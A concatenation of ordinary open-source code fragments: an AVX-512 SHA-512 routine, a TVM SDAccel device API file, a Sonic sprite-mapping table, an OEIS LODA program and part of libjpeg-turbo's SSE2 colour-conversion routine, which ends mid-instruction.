0x766a0abb3c77b2a8, 0x766a0abb3c77b2a8 dq 0x81c2c92e47edaee6, 0x81c2c92e47edaee6, 0x81c2c92e47edaee6, 0x81c2c92e47edaee6 dq 0x81c2c92e47edaee6, 0x81c2c92e47edaee6, 0x81c2c92e47edaee6, 0x81c2c92e47edaee6 dq 0x92722c851482353b, 0x92722c851482353b, 0x92722c851482353b, 0x92722c851482353b dq 0x92722c851482353b, 0x92722c851482353b, 0x92722c851482353b, 0x92722c851482353b dq 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364 dq 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364, 0xa2bfe8a14cf10364 dq 0xa81a664bbc423001, 0xa81a664bbc423001, 0xa81a664bbc423001, 0xa81a664bbc423001 dq 0xa81a664bbc423001, 0xa81a664bbc423001, 0xa81a664bbc423001, 0xa81a664bbc423001 dq 0xc24b8b70d0f89791, 0xc24b8b70d0f89791, 0xc24b8b70d0f89791, 0xc24b8b70d0f89791 dq 0xc24b8b70d0f89791, 0xc24b8b70d0f89791, 0xc24b8b70d0f89791, 0xc24b8b70d0f89791 dq 0xc76c51a30654be30, 0xc76c51a30654be30, 0xc76c51a30654be30, 0xc76c51a30654be30 dq 0xc76c51a30654be30, 0xc76c51a30654be30, 0xc76c51a30654be30, 0xc76c51a30654be30 dq 0xd192e819d6ef5218, 0xd192e819d6ef5218, 0xd192e819d6ef5218, 0xd192e819d6ef5218 dq 0xd192e819d6ef5218, 0xd192e819d6ef5218, 0xd192e819d6ef5218, 0xd192e819d6ef5218 dq 0xd69906245565a910, 0xd69906245565a910, 0xd69906245565a910, 0xd69906245565a910 dq 0xd69906245565a910, 0xd69906245565a910, 0xd69906245565a910, 0xd69906245565a910 dq 0xf40e35855771202a, 0xf40e35855771202a, 0xf40e35855771202a, 0xf40e35855771202a dq 0xf40e35855771202a, 0xf40e35855771202a, 0xf40e35855771202a, 0xf40e35855771202a dq 0x106aa07032bbd1b8, 0x106aa07032bbd1b8, 0x106aa07032bbd1b8, 0x106aa07032bbd1b8 dq 0x106aa07032bbd1b8, 0x106aa07032bbd1b8, 0x106aa07032bbd1b8, 0x106aa07032bbd1b8 dq 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8 dq 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8, 0x19a4c116b8d2d0c8 dq 0x1e376c085141ab53, 0x1e376c085141ab53, 0x1e376c085141ab53, 0x1e376c085141ab53 dq 0x1e376c085141ab53, 0x1e376c085141ab53, 0x1e376c085141ab53, 0x1e376c085141ab53 dq 0x2748774cdf8eeb99, 0x2748774cdf8eeb99, 0x2748774cdf8eeb99, 0x2748774cdf8eeb99 dq 0x2748774cdf8eeb99, 0x2748774cdf8eeb99, 0x2748774cdf8eeb99, 0x2748774cdf8eeb99 dq 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8 dq 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8, 0x34b0bcb5e19b48a8 dq 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63 dq 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63, 0x391c0cb3c5c95a63 dq 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb dq 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb, 0x4ed8aa4ae3418acb dq 0x5b9cca4f7763e373, 0x5b9cca4f7763e373, 0x5b9cca4f7763e373, 0x5b9cca4f7763e373 dq 0x5b9cca4f7763e373, 0x5b9cca4f7763e373, 0x5b9cca4f7763e373, 0x5b9cca4f7763e373 dq 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3 dq 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3, 0x682e6ff3d6b2b8a3 dq 0x748f82ee5defb2fc, 0x748f82ee5defb2fc, 0x748f82ee5defb2fc, 0x748f82ee5defb2fc dq 0x748f82ee5defb2fc, 0x748f82ee5defb2fc, 0x748f82ee5defb2fc, 0x748f82ee5defb2fc dq 0x78a5636f43172f60, 0x78a5636f43172f60, 0x78a5636f43172f60, 0x78a5636f43172f60 dq 0x78a5636f43172f60, 0x78a5636f43172f60, 0x78a5636f43172f60, 0x78a5636f43172f60 dq 0x84c87814a1f0ab72, 0x84c87814a1f0ab72, 0x84c87814a1f0ab72, 0x84c87814a1f0ab72 dq 0x84c87814a1f0ab72, 0x84c87814a1f0ab72, 0x84c87814a1f0ab72, 0x84c87814a1f0ab72 dq 0x8cc702081a6439ec, 0x8cc702081a6439ec, 0x8cc702081a6439ec, 0x8cc702081a6439ec dq 0x8cc702081a6439ec, 0x8cc702081a6439ec, 0x8cc702081a6439ec, 0x8cc702081a6439ec dq 0x90befffa23631e28, 0x90befffa23631e28, 0x90befffa23631e28, 0x90befffa23631e28 dq 0x90befffa23631e28, 0x90befffa23631e28, 0x90befffa23631e28, 0x90befffa23631e28 dq 0xa4506cebde82bde9, 0xa4506cebde82bde9, 0xa4506cebde82bde9, 0xa4506cebde82bde9 dq 0xa4506cebde82bde9, 0xa4506cebde82bde9, 0xa4506cebde82bde9, 0xa4506cebde82bde9 dq 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915 dq 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915, 0xbef9a3f7b2c67915 dq 0xc67178f2e372532b, 0xc67178f2e372532b, 0xc67178f2e372532b, 0xc67178f2e372532b dq 0xc67178f2e372532b, 0xc67178f2e372532b, 0xc67178f2e372532b, 0xc67178f2e372532b dq 0xca273eceea26619c, 0xca273eceea26619c, 0xca273eceea26619c, 0xca273eceea26619c dq 0xca273eceea26619c, 0xca273eceea26619c, 0xca273eceea26619c, 0xca273eceea26619c dq 0xd186b8c721c0c207, 0xd186b8c721c0c207, 0xd186b8c721c0c207, 0xd186b8c721c0c207 dq 0xd186b8c721c0c207, 0xd186b8c721c0c207, 0xd186b8c721c0c207, 0xd186b8c721c0c207 dq 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e dq 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e, 0xeada7dd6cde0eb1e dq 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178 dq 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178, 0xf57d4f7fee6ed178 dq 0x06f067aa72176fba, 0x06f067aa72176fba, 0x06f067aa72176fba, 0x06f067aa72176fba dq 0x06f067aa72176fba, 0x06f067aa72176fba, 0x06f067aa72176fba, 0x06f067aa72176fba dq 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6 dq 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6, 0x0a637dc5a2c898a6 dq 0x113f9804bef90dae, 0x113f9804bef90dae, 0x113f9804bef90dae, 0x113f9804bef90dae dq 0x113f9804bef90dae, 0x113f9804bef90dae, 0x113f9804bef90dae, 0x113f9804bef90dae dq 0x1b710b35131c471b, 0x1b710b35131c471b, 0x1b710b35131c471b, 0x1b710b35131c471b dq 0x1b710b35131c471b, 0x1b710b35131c471b, 0x1b710b35131c471b, 0x1b710b35131c471b dq 0x28db77f523047d84, 0x28db77f523047d84, 0x28db77f523047d84, 0x28db77f523047d84 dq 0x28db77f523047d84, 0x28db77f523047d84, 0x28db77f523047d84, 0x28db77f523047d84 dq 0x32caab7b40c72493, 0x32caab7b40c72493, 0x32caab7b40c72493, 0x32caab7b40c72493 dq 0x32caab7b40c72493, 0x32caab7b40c72493, 0x32caab7b40c72493, 0x32caab7b40c72493 dq 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc dq 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc, 0x3c9ebe0a15c9bebc dq 0x431d67c49c100d4c, 0x431d67c49c100d4c, 0x431d67c49c100d4c, 0x431d67c49c100d4c dq 0x431d67c49c100d4c, 0x431d67c49c100d4c, 0x431d67c49c100d4c, 0x431d67c49c100d4c dq 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6 dq 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6, 0x4cc5d4becb3e42b6 dq 0x597f299cfc657e2a, 0x597f299cfc657e2a, 0x597f299cfc657e2a, 0x597f299cfc657e2a dq 0x597f299cfc657e2a, 0x597f299cfc657e2a, 0x597f299cfc657e2a, 0x597f299cfc657e2a dq 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec dq 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec, 0x5fcb6fab3ad6faec dq 0x6c44198c4a475817, 0x6c44198c4a475817, 0x6c44198c4a475817, 0x6c44198c4a475817 dq 0x6c44198c4a475817, 0x6c44198c4a475817, 0x6c44198c4a475817, 0x6c44198c4a475817 align 64 ; this does the big endian to little endian conversion over a quad word .. ZMM ;; shuffle on ZMM is shuffle on 4 XMM size chunks, 128 bits PSHUFFLE_BYTE_FLIP_MASK: ;ddq 0x08090a0b0c0d0e0f0001020304050607 dq 0x0001020304050607, 0x08090a0b0c0d0e0f ;ddq 0x18191a1b1c1d1e1f1011121314151617 dq 0x1011121314151617, 0x18191a1b1c1d1e1f ;ddq 0x28292a2b2c2d2e2f2021222324252627 dq 0x2021222324252627, 0x28292a2b2c2d2e2f ;ddq 0x38393a3b3c3d3e3f3031323334353637 dq 0x3031323334353637, 0x38393a3b3c3d3e3f mksection .text ;; void sha512_x8_avx512(void *input_data, UINT64 *digest[NUM_LANES], const int size) ;; arg 1 : rcx : pointer to input data ;; arg 2 : rdx : pointer to UINT64 digest[8][num_lanes] ;; arg 3 : size in message block lengths (= 128 bytes) MKGLOBAL(sha512_x8_avx512,function,internal) align 64 sha512_x8_avx512: endbranch64 mov rax, rsp sub rsp, STACK_SPACE and rsp, ~63 ; align stack to multiple of 64 mov [rsp + _RSP], rax ;; Initialize digests ; organized uint64 digest[8][num_lanes]; no transpose required ;; Digest is an array of pointers to digests vmovdqu32 A, [STATE + 0*SHA512_DIGEST_ROW_SIZE] vmovdqu32 B, [STATE + 1*SHA512_DIGEST_ROW_SIZE] vmovdqu32 C, [STATE + 2*SHA512_DIGEST_ROW_SIZE] vmovdqu32 D, [STATE + 3*SHA512_DIGEST_ROW_SIZE] vmovdqu32 E, [STATE + 4*SHA512_DIGEST_ROW_SIZE] vmovdqu32 F, [STATE + 5*SHA512_DIGEST_ROW_SIZE] vmovdqu32 G, [STATE + 6*SHA512_DIGEST_ROW_SIZE] vmovdqu32 H, [STATE + 7*SHA512_DIGEST_ROW_SIZE] lea TBL,[rel TABLE] xor IDX, IDX ;; Read in input data address, saving them in registers because ;; they will serve as variables, which we shall keep incrementing mov inp0, [STATE + _data_ptr_sha512 + 0*PTR_SZ] mov inp1, [STATE + _data_ptr_sha512 + 1*PTR_SZ] mov inp2, [STATE + _data_ptr_sha512 + 2*PTR_SZ] mov inp3, [STATE + _data_ptr_sha512 + 3*PTR_SZ] mov inp4, [STATE + _data_ptr_sha512 + 4*PTR_SZ] mov inp5, [STATE + _data_ptr_sha512 + 5*PTR_SZ] mov inp6, [STATE + _data_ptr_sha512 + 6*PTR_SZ] mov inp7, [STATE + _data_ptr_sha512 + 7*PTR_SZ] jmp lloop align 32 lloop: ;; Load 64-byte blocks of data into ZMM registers before ;; performing a 8x8 64-bit transpose. ;; To speed up the transpose, data is loaded in chunks of 32 bytes, ;; interleaving data between lane X and lane X+4. ;; This way, final shuffles between top half and bottom half ;; of the matrix are avoided. TRANSPOSE8_U64_LOAD8 W0, W1, W2, W3, W4, W5, W6, W7, \ inp0, inp1, inp2, inp3, inp4, inp5, \ inp6, inp7, IDX TRANSPOSE8_U64 W0, W1, W2, W3, W4, W5, W6, W7, TMP0, TMP1, TMP2, TMP3 ;; Load next 512 bytes TRANSPOSE8_U64_LOAD8 W8, W9, W10, W11, W12, W13, W14, W15, \ inp0, inp1, inp2, inp3, inp4, inp5, \ inp6, inp7, IDX+SZ8 TRANSPOSE8_U64 W8, W9, W10, W11, W12, W13, W14, W15, TMP0, TMP1, TMP2, TMP3 vmovdqa32 TMP2, [rel PSHUFFLE_BYTE_FLIP_MASK] vmovdqa32 TMP3, [TBL] ; First K ; Save digests for later addition vmovdqa32 [rsp + _DIGEST_SAVE + 64*0], A vmovdqa32 [rsp + _DIGEST_SAVE + 64*1], B vmovdqa32 [rsp + _DIGEST_SAVE + 64*2], C vmovdqa32 [rsp + _DIGEST_SAVE + 64*3], D vmovdqa32 [rsp + _DIGEST_SAVE + 64*4], E vmovdqa32 [rsp + _DIGEST_SAVE + 64*5], F vmovdqa32 [rsp + _DIGEST_SAVE + 64*6], G vmovdqa32 [rsp + _DIGEST_SAVE + 64*7], H add IDX, 128 ; increment by message block length in bytes %assign I 0 %rep 16 ;;; little endian to big endian vpshufb APPEND(W,I), APPEND(W,I), TMP2 %assign I (I+1) %endrep ; MSG Schedule for W0-W15 is now complete in registers ; Process first (max-rounds -16) ; Calculate next Wt+16 after processing is complete and Wt is unneeded ; PROCESS_LOOP_00_79 APPEND(W,J), I, APPEND(W,K), APPEND(W,L), APPEND(W,M) %assign I 0 %assign J 0 %assign K 1 %assign L 9 %assign M 14 %rep SHA_ROUNDS_LESS_16 PROCESS_LOOP APPEND(W,J), I MSG_SCHED_ROUND_16_79 APPEND(W,J), APPEND(W,K), APPEND(W,L), APPEND(W,M) %assign I (I+1) %assign J ((J+1)% 16) %assign K ((K+1)% 16) %assign L ((L+1)% 16) %assign M ((M+1)% 16) %endrep ; Check is this is the last block sub INP_SIZE, 1 je lastLoop ; Process last 16 rounds ; Read in next block msg data for use in first 16 words of msg sched %assign I SHA_ROUNDS_LESS_16 %assign J 0 %rep 16 PROCESS_LOOP APPEND(W,J), I %assign I (I+1) %assign J (J+1) %endrep ; Add old digest vpaddq A, A, [rsp + _DIGEST_SAVE + 64*0] vpaddq B, B, [rsp + _DIGEST_SAVE + 64*1] vpaddq C, C, [rsp + _DIGEST_SAVE + 64*2] vpaddq D, D, [rsp + _DIGEST_SAVE + 64*3] vpaddq E, E, [rsp + _DIGEST_SAVE + 64*4] vpaddq F, F, [rsp + _DIGEST_SAVE + 64*5] vpaddq G, G, [rsp + _DIGEST_SAVE + 64*6] vpaddq H, H, [rsp + _DIGEST_SAVE + 64*7] jmp lloop align 32 lastLoop: ; Process last 16 rounds %assign I SHA_ROUNDS_LESS_16 %assign J 0 %rep 16 PROCESS_LOOP APPEND(W,J), I %assign I (I+1) %assign J (J+1) %endrep ; Add old digest vpaddq A, A, [rsp + _DIGEST_SAVE + 64*0] vpaddq B, B, [rsp + _DIGEST_SAVE + 64*1] vpaddq C, C, [rsp + _DIGEST_SAVE + 64*2] vpaddq D, D, [rsp + _DIGEST_SAVE + 64*3] vpaddq E, E, [rsp + _DIGEST_SAVE + 64*4] vpaddq F, F, [rsp + _DIGEST_SAVE + 64*5] vpaddq G, G, [rsp + _DIGEST_SAVE + 64*6] vpaddq H, H, [rsp + _DIGEST_SAVE + 64*7] ; Write out digest ;; results in A, B, C, D, E, F, G, H vmovdqu32 [STATE + 0*SHA512_DIGEST_ROW_SIZE], A vmovdqu32 [STATE + 1*SHA512_DIGEST_ROW_SIZE], B vmovdqu32 [STATE + 2*SHA512_DIGEST_ROW_SIZE], C vmovdqu32 [STATE + 3*SHA512_DIGEST_ROW_SIZE], D vmovdqu32 [STATE + 4*SHA512_DIGEST_ROW_SIZE], E vmovdqu32 [STATE + 5*SHA512_DIGEST_ROW_SIZE], F vmovdqu32 [STATE + 6*SHA512_DIGEST_ROW_SIZE], G vmovdqu32 [STATE + 7*SHA512_DIGEST_ROW_SIZE], H ; update input pointers %assign I 0 %rep 8 add [STATE + _data_ptr_sha512 + I*PTR_SZ], IDX %assign I (I+1) %endrep %ifdef SAFE_DATA ;; Clear stack frame ((NUM_LANES*8)*64 bytes) clear_all_zmms_asm %assign i 0 %rep (NUM_LANES*8) vmovdqa64 [rsp + i*64], zmm0 %assign i (i+1) %endrep %endif mov rsp, [rsp + _RSP] ;hash_done: ret mksection stack-noexec
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /*! * Copyright (c) 2018 by Contributors * \file sdaccel_device_api.cc */ #include <tvm/runtime/registry.h> #include <dmlc/thread_local.h> #include "sdaccel_common.h" namespace tvm { namespace runtime { namespace cl { OpenCLThreadEntry* SDAccelWorkspace::GetThreadEntry() { return SDAccelThreadEntry::ThreadLocal(); } const std::shared_ptr<OpenCLWorkspace>& SDAccelWorkspace::Global() { static std::shared_ptr<OpenCLWorkspace> inst = std::make_shared<SDAccelWorkspace>(); return inst; } void SDAccelWorkspace::Init() { OpenCLWorkspace::Init("sdaccel", "accelerator", "Xilinx"); } bool SDAccelWorkspace::IsOpenCLDevice(TVMContext ctx) { return ctx.device_type == static_cast<DLDeviceType>(kDLSDAccel); } typedef dmlc::ThreadLocalStore<SDAccelThreadEntry> SDAccelThreadStore; SDAccelThreadEntry* SDAccelThreadEntry::ThreadLocal() { return SDAccelThreadStore::Get(); } TVM_REGISTER_GLOBAL("device_api.sdaccel") .set_body([](TVMArgs args, TVMRetValue* rv) { DeviceAPI* ptr = SDAccelWorkspace::Global().get(); *rv = static_cast<void*>(ptr); }); } // namespace cl } // namespace runtime } // namespace tvm
; --------------------------------------------------------------------------- ; Sprite mappings - chaos emeralds on the ending sequence ; --------------------------------------------------------------------------- Map_ECha_internal: dc.w M_ECha_1-Map_ECha_internal dc.w M_ECha_2-Map_ECha_internal dc.w M_ECha_3-Map_ECha_internal dc.w M_ECha_4-Map_ECha_internal dc.w M_ECha_5-Map_ECha_internal dc.w M_ECha_6-Map_ECha_internal dc.w M_ECha_7-Map_ECha_internal M_ECha_1: dc.b 1 dc.b $F8, 5, 0, 0, $F8 M_ECha_2: dc.b 1 dc.b $F8, 5, 0, 4, $F8 M_ECha_3: dc.b 1 dc.b $F8, 5, $40, $10, $F8 M_ECha_4: dc.b 1 dc.b $F8, 5, $20, $18, $F8 M_ECha_5: dc.b 1 dc.b $F8, 5, $40, $14, $F8 M_ECha_6: dc.b 1 dc.b $F8, 5, 0, 8, $F8 M_ECha_7: dc.b 1 dc.b $F8, 5, 0, $C, $F8 even
; A318458: a(n) = n AND A001065(n), where AND is bitwise-and (A004198) & A001065 = sum of proper divisors. ; Submitted by Simon Strandgaard ; 0,0,1,0,1,6,1,0,0,8,1,0,1,10,9,0,1,16,1,20,1,6,1,0,0,16,9,28,1,10,1,0,1,0,1,36,1,6,1,32,1,34,1,40,33,10,1,0,0,34,17,36,1,2,17,0,17,32,1,44,1,34,41,0,1,66,1,0,1,66,1,72,1,8,1,64,1,74,1,64,0,0,1,4,21,6,1,88,1,16,17,76,1,18,25,0,1,64,33,100 mov $1,$0 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). seq $1,318457 ; a(n) = n XOR A001065(n), where XOR is bitwise-xor (A003987) and A001065 = sum of proper divisors. sub $0,$1 div $0,2
; ; jdclrss2-64.asm - colorspace conversion (64-bit SSE2) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright 2009 D. R. Commander ; ; Based on ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jcolsamp.inc" ; -------------------------------------------------------------------------- ; ; Convert some rows of samples to the output colorspace. ; ; GLOBAL(void) ; jsimd_ycc_rgb_convert_sse2 (JDIMENSION out_width, ; JSAMPIMAGE input_buf, JDIMENSION input_row, ; JSAMPARRAY output_buf, int num_rows) ; ; r10 = JDIMENSION out_width ; r11 = JSAMPIMAGE input_buf ; r12 = JDIMENSION input_row ; r13 = JSAMPARRAY output_buf ; r14 = int num_rows %define wk(i) rbp-(WK_NUM-(i))*SIZEOF_XMMWORD ; xmmword wk[WK_NUM] %define WK_NUM 2 align 16 global EXTN(jsimd_ycc_rgb_convert_sse2) EXTN(jsimd_ycc_rgb_convert_sse2): push rbp mov rax,rsp ; rax = original rbp sub rsp, byte 4 and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits mov [rsp],rax mov rbp,rsp ; rbp = aligned rbp lea rsp, [wk(0)] collect_args push rbx mov rcx, r10 ; num_cols test rcx,rcx jz near .return push rcx mov rdi, r11 mov rcx, r12 mov rsi, JSAMPARRAY [rdi+0*SIZEOF_JSAMPARRAY] mov rbx, JSAMPARRAY [rdi+1*SIZEOF_JSAMPARRAY] mov rdx, JSAMPARRAY [rdi+2*SIZEOF_JSAMPARRAY] lea rsi, [rsi+rcx*SIZEOF_JSAMPROW] lea rbx, [rbx+rcx*SIZEOF_JSAMPROW] lea rdx, [rdx+rcx*SIZEOF_JSAMPROW] pop rcx mov rdi, r13 mov eax, r14d test rax,rax jle near .return .rowloop: push rax push rdi push rdx push rbx push rsi push rcx ; col mov rsi, JSAMPROW [rsi] ; inptr0 mov rbx, JSAMPROW [rbx] ; inptr1 mov rdx, JSAMPROW [rdx] ; inptr2 mov rdi, JSAMPROW [rdi] ; outptr .columnloop: movdqa xmm5, XMMWORD [rbx] ; xmm5=Cb(0123456789ABCDEF) movdqa xmm1, XMMWORD [rdx] ; xmm1=Cr(0123456789ABCDEF) pcmpeqw xmm4,xmm4 pcmpeqw xmm7,xmm7 psrlw xmm4,BYTE_BIT psllw xmm7,7 ; xmm7={0xFF80 0xFF80 0xFF80 0xFF80 ..} movdqa xmm0,xmm4 ; xmm0=xmm4={0xFF 0x00 0xFF 0x00 ..} pand xmm4,xmm5 ; xmm4=Cb(02468ACE)=CbE psrlw xmm5,BYTE_BIT ; xmm5=Cb(13579BDF)=CbO pand xmm0,xmm1 ; xmm0=Cr(02468ACE)=CrE psrlw xmm1,BYTE_BIT ; xmm1=Cr(13579BDF)=CrO paddw xmm4,xmm7 paddw xmm5,xmm7 paddw xmm0,xmm7 paddw xmm1,xmm7 ; (Original) ; R = Y + 1.40200 * Cr ; G = Y - 0.34414 * Cb - 0.71414 * Cr ; B = Y + 1.77200 * Cb ; ; (This implementation) ; R = Y + 0.40200 * Cr + Cr ; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr ; B = Y - 0.22800 * Cb + Cb + Cb movdqa xmm2,xmm4 ; xmm2=CbE movdqa xmm3,xmm5 ; xmm3=CbO paddw xmm4,xmm4 ; xmm4=2*CbE paddw xmm5,xmm5 ; xmm5=2*CbO movdqa xmm6,xmm0 ; xmm6=CrE movdqa xmm7,xmm1 ; xmm7=CrO paddw xmm0,xmm0 ; xmm0=2*CrE paddw xmm1,xmm1 ; xmm1=2*CrO pmulhw xmm4,[rel PW_MF0228] ; xmm4=(2*CbE * -FIX(0.22800)) pmulhw xmm5,[rel PW_MF0228] ; xmm5=(2*CbO * -FIX(0.22800)) pmulhw xmm0,[rel PW_F0402] ; xmm0=(2*CrE * FIX(0.40200)) pmulhw xmm1,[rel PW_F0402] ; xmm1=(2*CrO * FIX(0.40200)) paddw xmm4,[rel PW_ONE] paddw xmm5,[rel PW_ONE] psraw xmm4,1 ; xmm4=(CbE * -FIX(0.22800)) psraw xmm5,1 ; xmm5=(CbO * -FIX(0.22800)) paddw xmm0,[rel PW_ONE] paddw xmm1,[rel PW_ONE] psraw xmm0,1 ; xmm0=(CrE * FIX(0.40200)) psraw xmm1,1 ; xmm1=(CrO * FIX(0.40200)) paddw xmm4,xmm2 paddw xmm5,xmm3 paddw xmm4,xmm2 ; xmm4=(CbE * FIX(1.77200))=(B-Y)E paddw xmm5,xmm3 ; xmm5=(CbO * FIX(1.77200))=(B-Y)O paddw xmm0,xmm6 ; xmm0=(CrE * FIX(1.40200))=(R-Y)E paddw xmm1,xmm7 ; xmm1=(CrO * FIX(1.40200))=(R-Y)O movdqa XMMWORD [wk(0)], xmm4 ; wk(0)=(B-Y)E movdqa XMMWORD [wk(1)], xmm5 ; wk(1)=(B-Y)O movdqa xmm4,xmm2 movdqa xmm5,xmm3 punpcklwd xmm2,xmm6 punpckhwd xmm4,xmm6 pmaddwd xmm2,[rel PW_MF0344_F0285] pmaddwd xmm4,[rel PW_MF0344_F0285] punpcklwd xmm3,xmm7 punpckhwd xmm5,xmm7 pmaddwd xmm3,[rel PW_MF0344_F0285] pmaddwd xmm5,[rel PW_MF0344_F0285] paddd xmm2,[rel PD_ONEHALF] paddd xmm4,[rel PD_ONEHALF] psrad xmm2,SCALEBITS psrad xmm4,SCALEBITS paddd xmm3,[rel PD_ONEHALF] paddd xmm5,[rel PD_ONEHALF] psrad xmm3,SCALEBITS psrad xmm5,SCALEBITS packssdw xmm2,xmm4 ; xmm2=CbE*-FIX(0.344)+CrE*FIX(0.285) packssdw xmm3,xmm5 ; xmm3=CbO*-FIX(0.344)+CrO*FIX(0.285) psubw xmm2,xmm6 ; xmm2=CbE*-FIX(0.344)+CrE*-FIX(0.714)=(G-Y)E psubw xmm3,xmm7 ; xmm3=CbO*-FIX(0.344)+CrO*-FIX(0.714)=(G-Y)O movdqa xmm5, XMMWORD [rsi] ; xmm5=Y(0123456789ABCDEF) pcmpeqw xmm4,xmm4 psrlw xmm4,BYTE_BIT ; xmm4={0xFF 0x00 0xFF 0x00 ..} pand xmm4,xmm5 ; xmm4=Y(02468ACE)=YE psrlw xmm5,BYTE_BIT ; xmm5=Y(13579BDF)=YO paddw xmm0,xmm4 ; xmm0=((R-Y)E+YE)=RE=R(02468ACE) paddw xmm1,xmm5 ; xmm1=((R-Y)O+YO)=RO=R(13579BDF) packuswb xmm0,xmm0 ; xmm0=R(02468ACE********) packuswb xmm1,xmm1 ; xmm1=R(13579BDF********) paddw xmm2,xmm4 ; xmm2=((G-Y)E+YE)=GE=G(02468ACE) paddw xmm3,xmm5 ; xmm3=((G-Y)O+YO)=GO=G(13579BDF) packuswb xmm2,xmm2 ; xmm2=G(02468ACE********) packuswb xmm3,xmm3 ; xmm3=G(13579BDF********) paddw xmm4, XMMWORD [wk(0)] ; xmm4=(YE+(B-Y)E)=BE=B(02468ACE) paddw xmm5, XMMWORD [wk(1)] ; xmm5=(YO+(B-Y)O)=BO=B(13579BDF) packuswb xmm4,xmm4 ; xmm4=B(02468ACE********) packuswb xmm5,xmm5 ; xmm5=B(13579BDF********) %if RGB_PIXELSIZE == 3 ; --------------- ; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **) ; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **) ; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **) ; xmmG=(** ** ** ** ** ** ** ** **), xmmH=(** ** ** ** ** ** ** ** **) punpcklbw xmmA,xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E) punpcklbw xmmE,xmmB ; xmmE=(20 01 22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F) punpcklbw xmmD,xmmF ; xmmD=(11 21 13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F) movdqa xmmG,xmmA movdqa xmmH,xmmA punpcklwd xmmA,xmmE ; xmmA=(00 10 20 01 02 12 22 03 04 14 24 05 06 16 26 07) punpckhwd xmmG,xmmE ; xmmG=(08 18 28 09 0A 1A 2A 0B 0C 1C 2C 0D 0E 1E 2E 0F) psrldq xmmH,2 ; xmmH=(02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E -- --) psrldq xmmE,2 ; xmmE=(22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F -- --) movdqa xmmC,xmmD movdqa xmmB,xmmD punpcklwd xmmD,xmmH ; xmmD=(11 21 02 12 13 23 04 14 15 25 06 16 17 27 08 18) punpckhwd xmmC,xmmH ; xmmC=(19 29 0A 1A 1B 2B 0C 1C 1D 2D 0E 1E 1F 2F -- --) psrldq 